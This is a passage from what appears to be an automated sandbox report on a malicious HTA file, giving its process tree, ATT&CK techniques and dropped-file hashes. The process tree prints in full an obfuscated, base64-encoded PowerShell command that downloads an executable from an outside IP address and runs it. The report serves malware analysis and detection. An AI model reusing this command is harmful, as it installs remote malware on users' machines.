  PID:4936
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4792,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:8
  2⤵
  PID:5200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=1208,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=6808 /prefetch:8
  2⤵
  PID:3788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=756,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6460,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:8
  2⤵
  PID:4128

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:4908

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:6000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
  2⤵
  PID:1456

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2128

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\5774db473258bf744264a3a02e01931fa02ecd19a26f0f9329bfa5ac89d08512\" -ad -an -ai#7zMap1243:190:7zEvent13549
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:900

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap2284:190:7zEvent9696
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5600

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloads\5774db473258bf744264a3a02e01931fa02ecd19a26f0f9329bfa5ac89d08512.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
PID:2932
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C poWershell.exe -eX ByPASs -NONi -w 1 -C DeVIcecredentialDePLOYMeNt ; Iex($(iEX('[sYSTem.teXt.ENcoDinG]'+[CHAr]0x3a+[chAR]0x3a+'uTF8.gETStRInG([systeM.cOnvert]'+[CHAR]58+[ChAR]0X3a+'frOMBaSE64STRiNg('+[CHAr]0X22+'JHNSTjd5MEwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNQkVSZGVGaW5pdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqa2JvZFpGVm1CLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB6ZE5FTlRESCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjR2EsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEF4a3RXTyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR0VNaXhyIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNUbmV5WlllQ1RpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNSTjd5MEw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjE5MS44OC85MC9zaWhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXHNpaG9zdC5leGUiLDAsMCk7U1RBclQtU0xFZXAoMyk7aW5WT2tFLUl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxzaWhvc3QuZXhlIg=='+[ChAR]34+'))')))"
  2⤵
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  PID:1740
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    poWershell.exe -eX ByPASs -NONi -w 1 -C DeVIcecredentialDePLOYMeNt ; Iex($(iEX('[sYSTem.teXt.ENcoDinG]'+[CHAr]0x3a+[chAR]0x3a+'uTF8.gETStRInG([systeM.cOnvert]'+[CHAR]58+[ChAR]0X3a+'frOMBaSE64STRiNg('+[CHAr]0X22+'JHNSTjd5MEwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNQkVSZGVGaW5pdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqa2JvZFpGVm1CLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB6ZE5FTlRESCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjR2EsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEF4a3RXTyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR0VNaXhyIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNUbmV5WlllQ1RpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNSTjd5MEw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjE5MS44OC85MC9zaWhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXHNpaG9zdC5leGUiLDAsMCk7U1RBclQtU0xFZXAoMyk7aW5WT2tFLUl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxzaWhvc3QuZXhlIg=='+[ChAR]34+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Downloads MZ/PE file
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:692
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\51sdgxm0\51sdgxm0.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1208
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES675B.tmp" "c:\Users\Admin\AppData\Local\Temp\51sdgxm0\CSC3A966BD7EA3649C7BAB0DDBCF0421E30.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6060
  - - C:\Users\Admin\AppData\Roaming\sihost.exe
      "C:\Users\Admin\AppData\Roaming\sihost.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5704

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloads\5774db473258bf744264a3a02e01931fa02ecd19a26f0f9329bfa5ac89d08512.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
PID:3164
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C poWershell.exe -eX ByPASs -NONi -w 1 -C DeVIcecredentialDePLOYMeNt ; Iex($(iEX('[sYSTem.teXt.ENcoDinG]'+[CHAr]0x3a+[chAR]0x3a+'uTF8.gETStRInG([systeM.cOnvert]'+[CHAR]58+[ChAR]0X3a+'frOMBaSE64STRiNg('+[CHAr]0X22+'JHNSTjd5MEwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNQkVSZGVGaW5pdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqa2JvZFpGVm1CLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB6ZE5FTlRESCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjR2EsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEF4a3RXTyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR0VNaXhyIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNUbmV5WlllQ1RpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNSTjd5MEw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjE5MS44OC85MC9zaWhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXHNpaG9zdC5leGUiLDAsMCk7U1RBclQtU0xFZXAoMyk7aW5WT2tFLUl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxzaWhvc3QuZXhlIg=='+[ChAR]34+'))')))"
  2⤵
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  PID:6136
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    poWershell.exe -eX ByPASs -NONi -w 1 -C DeVIcecredentialDePLOYMeNt ; Iex($(iEX('[sYSTem.teXt.ENcoDinG]'+[CHAr]0x3a+[chAR]0x3a+'uTF8.gETStRInG([systeM.cOnvert]'+[CHAR]58+[ChAR]0X3a+'frOMBaSE64STRiNg('+[CHAr]0X22+'JHNSTjd5MEwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNQkVSZGVGaW5pdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqa2JvZFpGVm1CLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB6ZE5FTlRESCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjR2EsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEF4a3RXTyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR0VNaXhyIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNUbmV5WlllQ1RpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNSTjd5MEw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjE5MS44OC85MC9zaWhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXHNpaG9zdC5leGUiLDAsMCk7U1RBclQtU0xFZXAoMyk7aW5WT2tFLUl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxzaWhvc3QuZXhlIg=='+[ChAR]34+'))')))"
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2524
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uqgfg01h\uqgfg01h.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5784
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8EB9.tmp" "c:\Users\Admin\AppData\Local\Temp\uqgfg01h\CSCAAB8ACCDABF54E8387E71F8BC926CA2A.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\chrome_Unpacker_BeginUnzipping2372_1104337673\manifest.json

Filesize
85B

MD5
c3419069a1c30140b77045aba38f12cf

SHA1
11920f0c1e55cadc7d2893d1eebb268b3459762a

SHA256
db9a702209807ba039871e542e8356219f342a8d9c9ca34bcd9a86727f4a3a0f

SHA512
c5e95a4e9f5919cb14f4127539c4353a55c5f68062bf6f95e1843b6690cebed3c93170badb2412b7fb9f109a620385b0ae74783227d6813f26ff8c29074758a1

Download Submit
C:\Program Files\chrome_Unpacker_BeginUnzipping2372_1695015628\manifest.fingerprint

Filesize
66B

MD5
496b05677135db1c74d82f948538c21c

SHA1
e736e675ca5195b5fc16e59fb7de582437fb9f9a

SHA256
df55a9464ee22a0f860c0f3b4a75ec62471d37b4d8cb7a0e460eef98cb83ebe7

SHA512
8bd1b683e24a8c8c03b0bc041288296448f799a6f431bacbd62cb33e621672991141c7151d9424ad60ab65a7a6a30298243b8b71d281f9e99b8abb79fe16bd3c

Download Submit
C:\Program Files\chrome_Unpacker_BeginUnzipping2372_1695015628\manifest.json

Filesize
134B

MD5
049c307f30407da557545d34db8ced16

SHA1
f10b86ebfe8d30d0dc36210939ca7fa7a819d494

SHA256
c36944790c4a1fa2f2acec5f7809a4d6689ecb7fb3b2f19c831c9adb4e17fc54

SHA512
14f04e768956bdd9634f6a172104f2b630e2eeada2f73b9a249be2ec707f4a47ff60f2f700005ca95addd838db9438ad560e5136a10ed32df1d304d65f445780

Download Submit
C:\Program Files\chrome_Unpacker_BeginUnzipping2372_1809206810\manifest.json

Filesize
176B

MD5
6607494855f7b5c0348eecd49ef7ce46

SHA1
2c844dd9ea648efec08776757bc376b5a6f9eb71

SHA256
37c30639ea04878b9407aecbcea4848b033e4548d5023ce5105ea79cab2c68dd

SHA512
8cb60725d958291b9a78c293992768cb03ff53ab942637e62eb6f17d80e0864c56a9c8ccafbc28246e9ce1fdb248e8d071d76764bcaf0243397d0f0a62b4d09a

Download Submit
C:\Program Files\chrome_Unpacker_BeginUnzipping2372_813359039\LICENSE

Filesize
1KB

MD5
ee002cb9e51bb8dfa89640a406a1090a

SHA1
49ee3ad535947d8821ffdeb67ffc9bc37d1ebbb2

SHA256
3dbd2c90050b652d63656481c3e5871c52261575292db77d4ea63419f187a55b

SHA512
d1fdcc436b8ca8c68d4dc7077f84f803a535bf2ce31d9eb5d0c466b62d6567b2c59974995060403ed757e92245db07e70c6bddbf1c3519fed300cc5b9bf9177c

Download Submit
C:\Program Files\chrome_Unpacker_BeginUnzipping2372_813359039\manifest.json

Filesize
79B

MD5
7f4b594a35d631af0e37fea02df71e72

SHA1
f7bc71621ea0c176ca1ab0a3c9fe52dbca116f57

SHA256
530882d7f535ae57a4906ca735b119c9e36480cbb780c7e8ad37c9c8fdf3d9b1

SHA512
bf3f92f5023f0fbad88526d919252a98db6d167e9ca3e15b94f7d71ded38a2cfb0409f57ef24708284ddd965bda2d3207cd99c008b1c9c8c93705fd66ac86360

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9faf6f9cd1992cdebfd8e34b48ea9330

SHA1
ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

SHA256
0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

SHA512
05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.9\protocols.json

Filesize
3KB

MD5
f9fd82b572ef4ce41a3d1075acc52d22

SHA1
fdded5eef95391be440cc15f84ded0480c0141e3

SHA256
5f21978e992a53ebd9c138cb5391c481def7769e3525c586a8a94f276b3cd8d6

SHA512
17084cc74462310a608355fbeafa8b51f295fb5fd067dfc641e752e69b1ee4ffba0e9eafa263aab67daab780b9b6be370dd3b54dd4ba8426ab499e50ff5c7339

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
8625e8ce164e1039c0d19156210674ce

SHA1
9eb5ae97638791b0310807d725ac8815202737d2

SHA256
2f65f9c3c54fe018e0b1f46e3c593d100a87758346d3b00a72cb93042daf60a2

SHA512
3c52b8876982fe41d816f9dfb05cd888c551cf7efd266a448050c87c3fc52cc2172f53c83869b87d7643ce0188004c978570f35b0fcc1cb50c9fffea3dec76a6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
3KB

MD5
a19e49944067823a7c2b09517f08dac4

SHA1
ce8a12c72ac48a290b2efb57c1961bc9daca7be4

SHA256
0dace64ba280b170728d2603525e8aaf775306c1de7c452b4c8682c2cbcc3305

SHA512
48b34bc93c069fc3893812445c11e4212a5522445fa17f7418515c1c01d04d76ab77c5650331ab54341a8dd19c23be2f6009b58b638b25c13d1c9a4209451183

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe582083.TMP

Filesize
3KB

MD5
af00ad123ff2cf567e59be9536164029

SHA1
f1f2b0ce4b7036891ec7ec7ca175cf4ad8b9cc88

SHA256
fc991d5585ee8de74de908f6cd659aa083fbf7f1c83921c91c32d657fab75bf6

SHA512
a50ee602ae512beb6c01aca78038a0219f359ea13221bfa2fa13fce1a1038584d116c1a1ceff7fdf72ca43f94a0be572c4a28cd6f5901321292c6788b98280b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps

Filesize
107KB

MD5
40e2018187b61af5be8caf035fb72882

SHA1
72a0b7bcb454b6b727bf90da35879b3e9a70621e

SHA256
b3efd9d75856016510dd0bdb5e22359925cee7f2056b3cde6411c55ae8ae8ee5

SHA512
a21b8f3f7d646909d6aed605ad5823269f52fda1255aa9bb4d4643e165a7b11935572bf9e0a6a324874f99c20a6f3b6d1e457c7ccd30adcac83c15febc063d12

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Filesize
3KB

MD5
3ef74c0065f3f30851acf195f3fd4e2b

SHA1
081235e38eb4dac4827c2b56372da7678c4175d8

SHA256
ca3a331e0c328877dbd2c237a56ee42385b9ba10fbcfce1d76c80415f785321f

SHA512
179e2b755c139f288dc7eb087f1754293bb93629f19c02a5da42e8b6919ec8c268284127d4d4b9a35d38cf91879dbc76835da88af1933add755408300e0df6d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

Filesize
40B

MD5
20d4b8fa017a12a108c87f540836e250

SHA1
1ac617fac131262b6d3ce1f52f5907e31d5f6f00

SHA256
6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

SHA512
507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
16KB

MD5
a85e92aee93f6c337676493cec5e3d98

SHA1
bc179be95021f537b3af13300837bf23d95d131b

SHA256
62d509dbb054180ea55962461c69181edbd8daf97c74962ab22d19343e278831

SHA512
664c97d0356cc76559395d053d5271190bb4d0f0ac5dda55efde87c496927eea7328dc4bf566fd7cdf3219e8c169999774863afcdbeb4adcd3057129eff805b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
17KB

MD5
302b38d3e60e21bd11149f9d54adba2d

SHA1
543392b6e25cec28296d189af70b8e0c0fc1e5db

SHA256
81bf6580381603b1fab617d0298ccbdd516364385e312a7489eeae5b69ec144e

SHA512
fca61a711afaed215b120587d662d7f4c29f11e4ba988b1c82a83a133d2f762aff2b7d3a226e9fdebe833c91ae5ba223d849616ecad671e37acb03d6f63e8d3d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
36KB

MD5
acb6c3a626580af64518e59486959ec3

SHA1
3016064263dc2012c1d0c7f6c29c990383a46b42

SHA256
6dcb29a8012bf05e720578abd6ff92fcb593712ac630ae3aa2e8334302303f44

SHA512
78b1439499df1c2ab84bb3dd2c548ac2f20ac2e9d65a959b17fe4a687f8bf62e999b8daa74b03887ef733908eeb07985b77d6b9d6561c950630d338ec07c5b47

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log

Filesize
22KB

MD5
969667aaecf573c3ba9ad37f6620304c

SHA1
a34554ead7f36f810112d17c77c8df16865ae4b7

SHA256
2e5c762d9a3cc58c510430e326e0c3db38fd512ca9c29699be42ce92ccee62e3

SHA512
3dc7751122e7ddfa6cf95d8107a232f0336b6d21666c63cc0ef689af86a4b4abc2b301c4b6264d0883556ce95eb42943a11f33d5bbf349cf5a004d23f75931cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
467B

MD5
f0f9fe6fb5bca70b842f31eeea6740b1

SHA1
83be13b851961a4f63df599c37c176bd534dd902

SHA256
9d4ae71c89633e1123df7f82e4c7fd5f468cdc1061336a5c4f6750430eccd1f2

SHA512
6c2842c8cabd9ea73961011b57d8ce32dcbd31236b5525e5d8977a06865eb5957af900f6fad5ad2e61a4a1fa2830aaac93281cc4edbd59517af29e382ea25c39

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
23KB

MD5
927568b233e741dcafb59728742b90d0

SHA1
6e9f997f349f93f457d2d1da1d43441f3865818c

SHA256
65dfae8136097ff9f083d746368aa65e39db9a2a4cd91bf5943c31cf65e35da9

SHA512
401d4fbf5f36ba94e31e1988fac11338c35f5546e89edf5ecd4b87e054ea96b9111a3ab22cce5760b1116887854bfec7a941daf05e34069671cf2415d3086748

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
900B

MD5
c94d1ce7c4e42cca0eaf6bb8a60f5952

SHA1
53b5df463aa1fcc6451a8e8730a2aacda85f33a5

SHA256
e7a1dd5cf001fe17e58d35f46387bcd1cd4ac22addf36fa093552e2fea1407a4

SHA512
fb5df553f36b34fdc7fa07a31100093ac29a74d070736336d109de3101071a3c8b7a293c62da99592258392180edd3aea53aeef4c4850ddc32e05fd8fd59f413

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig

Filesize
19KB

MD5
41c1930548d8b99ff1dbb64ba7fecb3d

SHA1
d8acfeaf7c74e2b289be37687f886f50c01d4f2f

SHA256
16cee17a989167242dd7ee2755721e357dd23bcfcb61f5789cc19deafe7ca502

SHA512
a684d61324c71ac15f3a907788ab2150f61e7e2b2bf13ca08c14e9822b22336d0d45d9ff2a2a145aa7321d28d6b71408f9515131f8a1bd9f4927b105e6471b75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
50KB

MD5
